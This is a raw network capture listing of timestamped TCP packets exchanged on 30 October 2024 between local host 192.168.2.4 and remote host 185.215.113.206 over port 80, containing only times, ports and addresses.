Oct 30, 2024 20:13:29.208175898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.208189011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.208210945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.208239079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.208635092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.208650112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.208664894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.208679914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.208695889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.208697081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.208710909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.208718061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.208725929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.208739042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.208739996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.208755016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.208765030 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.208769083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.208784103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.208796024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.208815098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.209403992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.209419012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.209433079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.209448099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.209464073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.209469080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.209480047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.209489107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.209496021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.209506989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.209511042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.209526062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.209536076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.209548950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.209564924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.209583044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.210196972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.210211992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.210231066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.210247040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.210257053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.210262060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.210277081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.210289001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.210293055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.210303068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.210306883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.210324049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.210331917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.210339069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.210354090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.210357904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.210370064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.210374117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.210401058 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.211081028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.211095095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.211110115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.211126089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.211133003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.211139917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.211147070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.211163044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.211169004 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.211178064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.211191893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.211191893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.211208105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.211218119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.211221933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.211237907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.211244106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.211253881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.211263895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.211270094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.211280107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.211296082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.211318970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.212359905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.212376118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.212574005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.330142021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.330162048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.330184937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.330235958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.330260038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.330298901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.330312967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.330352068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.330455065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.330470085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.330486059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.330495119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.330518961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.330689907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.330704927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.330718994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.330735922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.330746889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.330750942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.330760002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.330765963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.330789089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.330817938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.331171989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.331187963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.331202984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.331217051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.331217051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.331237078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.331239939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.331239939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.331250906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.331263065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.331268072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.331274986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.331291914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.331310987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.331614017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.331645966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.331660032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.331667900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.331681013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.331684113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.331700087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.331705093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.331722021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.331722975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.331732988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.331737995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.331762075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.331769943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.332242012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.332267046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.332281113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.332295895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.332309008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.332310915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.332325935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.332333088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.332340956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.332351923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.332355976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.332370996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.332374096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.332386971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.332397938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.332421064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.333019972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.333040953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.333056927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.333062887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.333071947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.333087921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.333087921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.333101988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.333103895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.333112001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.333118916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.333131075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.333134890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.333141088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.333149910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.333161116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.333163977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.333173990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.333179951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.333193064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.333194971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.333201885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.333220959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.333234072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.334006071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.334022045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.334036112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.334052086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.334065914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.334067106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.334081888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.334090948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.334098101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.334108114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.334112883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.334126949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.334132910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.334141970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.334156990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.334157944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.334172964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.334184885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.334187984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.334209919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.334229946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.334924936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.334939957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.334954023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.334969044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.334984064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.334985018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.335002899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.335009098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.335017920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.335026979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.335031986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.335047960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.335051060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.335063934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.335074902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.335077047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.335093975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.335108995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.453216076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.453249931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.453268051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.453284025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.453300953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.453318119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.453330040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.453377008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.453396082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.453412056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.453428984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.453438044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.453464985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.453613997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.453629017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.453644037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.453660965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.453669071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.453685045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.453710079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.453871012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.453887939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.453903913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.453912020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.453923941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.453944921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.454124928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.454142094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.454155922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.454170942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.454185009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.454188108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.454205036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.454209089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.454221964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.454231977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.454237938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.454247952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.454273939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.454273939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.454600096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.454612970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.454627037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.454647064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.454672098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.454848051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.454864979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.454879999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.454896927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.454909086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.454912901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.454926968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.454937935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.454942942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.454957008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.454960108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.454976082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.454982042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.454992056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.455003977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.455029011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.455493927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.455508947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.455523014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.455538988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.455552101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.455554008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.455563068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.455569983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.455585957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.455594063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.455601931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.455616951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.455619097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.455631018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.455632925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.455646992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.455658913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.455662012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.455673933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.455678940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.455697060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.455705881 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.455713034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.456393003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.456409931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.456424952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.456440926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.456455946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.456463099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.456470966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.456481934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.456485987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.456496954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.456500053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.456515074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.456525087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.456531048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.456545115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.456551075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.456561089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.456568956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.456574917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.456590891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.456598997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.456609011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.456613064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.456639051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.456648111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.457273960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.457309961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.457325935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.457340002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.457354069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.457355976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.457370043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.457386017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.457382917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.457401991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.457401991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.457417011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.457426071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.457447052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.457468987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.457914114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.457930088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.457945108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.457961082 CET	80	49758	185.215.113.206	192.168.2.4
